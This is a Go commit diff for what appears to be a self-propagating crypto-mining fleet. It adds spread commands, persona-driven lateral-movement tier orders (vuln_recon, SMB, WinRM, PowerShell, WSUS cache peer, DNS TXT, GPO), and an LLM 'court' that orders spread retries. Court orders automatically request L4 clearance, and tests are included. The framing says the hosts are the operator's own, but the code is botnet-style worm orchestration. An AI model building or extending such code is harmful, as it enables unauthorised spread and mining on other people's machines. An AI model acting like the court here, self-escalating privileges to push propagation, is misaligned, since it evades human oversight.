Add fleet evolution: genetic breeding, atlas gossip, BGP router, seeder/miner, genealogy, court gates, APK scout, personas, WSUS mimic, and P2 test coverage
This commit is contained in:
@@ -14,6 +14,8 @@ const (
|
||||
CmdRestartMining = "restart_mining"
|
||||
CmdReorderTiers = "reorder_tiers"
|
||||
CmdSpreadNow = "spread_now"
|
||||
CmdSpreadRetryLane = "spread_retry_lane"
|
||||
CmdSkipTier = "skip_tier"
|
||||
CmdStageFetch = "stage_fetch"
|
||||
CmdSetAgentVersion = "set_agent_version"
|
||||
CmdNoop = "noop"
|
||||
@@ -26,6 +28,8 @@ var knownCommands = map[string]bool{
|
||||
CmdRestartMining: true,
|
||||
CmdReorderTiers: true,
|
||||
CmdSpreadNow: true,
|
||||
CmdSpreadRetryLane: true,
|
||||
CmdSkipTier: true,
|
||||
CmdStageFetch: true,
|
||||
CmdSetAgentVersion: true,
|
||||
CmdNoop: true,
|
||||
|
||||
@@ -64,7 +64,10 @@ func BuildCourtPrompt(s AgentSnapshot, atlasSummary string, phenotype *strategy.
|
||||
system.WriteString(strings.TrimSpace(`You are the AetherForge Singular Machine Court for the operator's own stuck fleet hosts.
|
||||
This is a single-turn tribunal with no memory. Three roles speak once:
|
||||
PROSECUTOR presents failure evidence. DEFENDER cites a winning fleet phenotype if one exists. JUDGE decides.
|
||||
Valid command types: bulk_command, agent_command, discover_and_join, restart_mining, reorder_tiers, spread_now, stage_fetch, set_agent_version, noop.
|
||||
Valid command types: bulk_command, agent_command, discover_and_join, restart_mining, reorder_tiers, spread_now, spread_retry_lane, skip_tier, stage_fetch, set_agent_version, noop.
|
||||
spread_retry_lane args: lane (string), optional data/manifest for staging lanes (bits_curl, do_peer, dns_txt, …).
|
||||
skip_tier args: tier (string) or skip_tiers (array) — merged into reorder_tiers on dispatch.
|
||||
Court-ordered spread_retry_lane and skip_tier execute as discover_and_join, stage_fetch, or reorder_tiers with L4 clearance.
|
||||
Never target third-party systems.`))
|
||||
system.WriteString("\n\n## PROSECUTOR\n")
|
||||
system.WriteString(prosecutor)
|
||||
|
||||
@@ -30,6 +30,16 @@ func stuckSpreadAttempts() []TierAttempt {
|
||||
return attempts
|
||||
}
|
||||
|
||||
func TestBuildCourtPromptListsRetryCommands(t *testing.T) {
|
||||
bundle := BuildCourtPrompt(AgentSnapshot{Stuck: true}, "", nil, PersonaBalanced)
|
||||
if !strings.Contains(bundle.SystemPrompt, "spread_retry_lane") {
|
||||
t.Fatalf("missing spread_retry_lane in court prompt: %s", bundle.SystemPrompt)
|
||||
}
|
||||
if !strings.Contains(bundle.SystemPrompt, "skip_tier") {
|
||||
t.Fatalf("missing skip_tier in court prompt")
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildCourtPromptProsecutorFailures(t *testing.T) {
|
||||
snap := AgentSnapshot{
|
||||
AgentID: "agent-stuck",
|
||||
|
||||
@@ -1,6 +1,11 @@
|
||||
package ai
|
||||
|
||||
import "strings"
|
||||
import (
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/strategy"
|
||||
)
|
||||
|
||||
const (
|
||||
PersonaAggressive = "aggressive"
|
||||
@@ -83,3 +88,49 @@ func CourtJudgeOverlay(mode string) string {
|
||||
return "Judge: weigh prosecutor failures against defender phenotype; pick the least disruptive recovery.\n"
|
||||
}
|
||||
}
|
||||
|
||||
// PersonaSpreadTierOrder returns the default spread tier walk order for a Calibrate persona.
|
||||
// Used as propagation temperament when Fleet AI Control replaces adaptive strategy.
|
||||
func PersonaSpreadTierOrder(mode string) []string {
|
||||
switch NormalizePersona(mode) {
|
||||
case PersonaAggressive:
|
||||
return []string{
|
||||
"vuln_recon", "docker", "smb", "winrm", "bits_curl", "wsl", "powershell", "dotnet",
|
||||
"do_peer", "wsus_cache_peer", "dns_txt", "webrtc_mesh", "linux", "gpo",
|
||||
}
|
||||
case PersonaSilent:
|
||||
return []string{
|
||||
"vuln_recon", "docker", "wsl", "dotnet", "powershell", "bits_curl",
|
||||
"do_peer", "wsus_cache_peer", "dns_txt", "webrtc_mesh", "smb", "winrm", "linux", "gpo",
|
||||
}
|
||||
case PersonaPassive:
|
||||
return []string{
|
||||
"vuln_recon", "docker", "wsl", "powershell", "dotnet", "bits_curl",
|
||||
"do_peer", "wsus_cache_peer", "dns_txt", "webrtc_mesh", "smb", "winrm", "linux", "gpo",
|
||||
}
|
||||
case PersonaPersuasive:
|
||||
return []string{
|
||||
"vuln_recon", "dns_txt", "wsus_cache_peer", "do_peer", "webrtc_mesh", "bits_curl",
|
||||
"docker", "wsl", "powershell", "dotnet", "smb", "winrm", "linux", "gpo",
|
||||
}
|
||||
default:
|
||||
return DefaultSpreadTiers()
|
||||
}
|
||||
}
|
||||
|
||||
// PersonaSpreadTemperament builds spread tier hints in adaptive_strategy shape for AI control mode.
|
||||
func PersonaSpreadTemperament(mode string) strategy.AdaptiveStrategy {
|
||||
persona := NormalizePersona(mode)
|
||||
order := PersonaSpreadTierOrder(persona)
|
||||
reason := strategy.StrategyReason{
|
||||
Fact: "Calibrate ai_persona=" + persona,
|
||||
Inference: "Fleet AI Control shapes spread propagation personality",
|
||||
Action: "Prefer spread tier order: " + strings.Join(order, " → "),
|
||||
}
|
||||
return strategy.AdaptiveStrategy{
|
||||
TierOrder: order,
|
||||
Reasoning: []strategy.StrategyReason{reason},
|
||||
Confidence: 0.85,
|
||||
UpdatedAt: time.Now().UTC().Format(time.RFC3339),
|
||||
}
|
||||
}
|
||||
|
||||
@@ -51,6 +51,38 @@ func TestNormalizePersona(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestPersonaSpreadTierOrderDistinct(t *testing.T) {
|
||||
modes := []string{PersonaAggressive, PersonaSilent, PersonaPassive, PersonaPersuasive, PersonaBalanced}
|
||||
seen := make(map[string]string, len(modes))
|
||||
for _, mode := range modes {
|
||||
order := PersonaSpreadTierOrder(mode)
|
||||
if len(order) != len(defaultSpreadTiers) {
|
||||
t.Fatalf("persona %q tier count = %d want %d", mode, len(order), len(defaultSpreadTiers))
|
||||
}
|
||||
key := strings.Join(order, ",")
|
||||
if prev, ok := seen[key]; ok && mode != PersonaBalanced {
|
||||
t.Fatalf("personas %q and %q share spread order", prev, mode)
|
||||
}
|
||||
seen[key] = mode
|
||||
}
|
||||
if PersonaSpreadTierOrder(PersonaPersuasive)[1] != "dns_txt" {
|
||||
t.Fatalf("persuasive should front dns_txt, got %v", PersonaSpreadTierOrder(PersonaPersuasive))
|
||||
}
|
||||
if PersonaSpreadTierOrder(PersonaAggressive)[2] != "smb" {
|
||||
t.Fatalf("aggressive should front smb early, got %v", PersonaSpreadTierOrder(PersonaAggressive))
|
||||
}
|
||||
}
|
||||
|
||||
func TestPersonaSpreadTemperamentShape(t *testing.T) {
|
||||
temp := PersonaSpreadTemperament(PersonaSilent)
|
||||
if len(temp.TierOrder) == 0 || len(temp.Reasoning) == 0 || temp.Confidence <= 0 {
|
||||
t.Fatalf("invalid spread temperament: %+v", temp)
|
||||
}
|
||||
if !strings.Contains(temp.Reasoning[0].Fact, PersonaSilent) {
|
||||
t.Fatalf("reasoning should cite persona: %+v", temp.Reasoning[0])
|
||||
}
|
||||
}
|
||||
|
||||
func TestCourtJudgeOverlayDistinct(t *testing.T) {
|
||||
modes := []string{PersonaAggressive, PersonaSilent, PersonaPassive, PersonaPersuasive, PersonaBalanced}
|
||||
prev := ""
|
||||
|
||||
@@ -202,6 +202,10 @@ func (s *Scheduler) runAgent(ctx context.Context, agentID string, cfg Config) {
|
||||
courtMeta.JudgeVerdict = ExtractJudgeVerdict(response)
|
||||
}
|
||||
cmds := ParseCommands(response)
|
||||
if useCourt {
|
||||
cmds = ExpandCourtCommands(cmds)
|
||||
s.ensureCourtRetryClearance(agentID, cmds)
|
||||
}
|
||||
results := make([]string, 0, len(cmds))
|
||||
for _, cmd := range cmds {
|
||||
if cmd.Type == CmdNoop {
|
||||
@@ -228,6 +232,18 @@ func (s *Scheduler) runAgent(ctx context.Context, agentID string, cfg Config) {
|
||||
|
||||
const stuckHostFailedTierThreshold = 14
|
||||
|
||||
func (s *Scheduler) ensureCourtRetryClearance(agentID string, cmds []Command) {
|
||||
if !CourtCommandsNeedRetryElevation(cmds) || s.elevator == nil {
|
||||
return
|
||||
}
|
||||
if s.elevator.Level(agentID) >= CourtRetryClearanceLevel {
|
||||
return
|
||||
}
|
||||
if _, err := s.elevator.RequestElevation(agentID, CourtRetryClearanceLevel, "court-mandated retry", "ai_court"); err != nil {
|
||||
log.Printf("[fleet-ai] agent %s court retry clearance: %v", agentID, err)
|
||||
}
|
||||
}
|
||||
|
||||
func (s *Scheduler) maybeAutoElevate(agentID string, snap AgentSnapshot, cfg Config) {
|
||||
if !cfg.AutoElevateClearance || s.elevator == nil {
|
||||
return
|
||||
|
||||
@@ -162,3 +162,47 @@ func TestSchedulerStuckHostTriggersL4Elevation(t *testing.T) {
|
||||
t.Fatalf("unexpected elevation: %+v", req)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSchedulerCourtRetryElevatesL4(t *testing.T) {
|
||||
old := DecideFunc
|
||||
defer func() { DecideFunc = old }()
|
||||
DecideFunc = func(_ context.Context, _, _, _, _ string) (string, error) {
|
||||
return `Verdict: retry dns_txt.
|
||||
{"commands":[{"type":"spread_retry_lane","args":{"lane":"dns_txt","data":"{}"}}]}`, nil
|
||||
}
|
||||
|
||||
elevator := &mockElevator{}
|
||||
exec := &mockExec{}
|
||||
sched := NewScheduler(
|
||||
&mockCfg{cfg: Config{Enabled: true, Endpoint: "http://test/v1", IntervalSec: 1}},
|
||||
&mockSnap{
|
||||
ids: []string{"court-1"},
|
||||
snap: AgentSnapshot{
|
||||
AgentID: "court-1", Name: "host", Stuck: true,
|
||||
LOTLAttempts: stuckSpreadAttempts(),
|
||||
},
|
||||
},
|
||||
exec,
|
||||
&mockStore{},
|
||||
&mockCourt{},
|
||||
elevator,
|
||||
)
|
||||
sched.lastRun["court-1"] = time.Now().Add(-2 * time.Minute)
|
||||
sched.Tick()
|
||||
|
||||
elevator.mu.Lock()
|
||||
defer elevator.mu.Unlock()
|
||||
found := false
|
||||
for _, req := range elevator.requests {
|
||||
if req.toLevel == clearance.L4 && req.reason == "court-mandated retry" {
|
||||
found = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
t.Fatalf("expected court-mandated L4 elevation, got %+v", elevator.requests)
|
||||
}
|
||||
if len(exec.calls) == 0 || exec.calls[0].Type != CmdStageFetch {
|
||||
t.Fatalf("expected stage_fetch dispatch, got %+v", exec.calls)
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user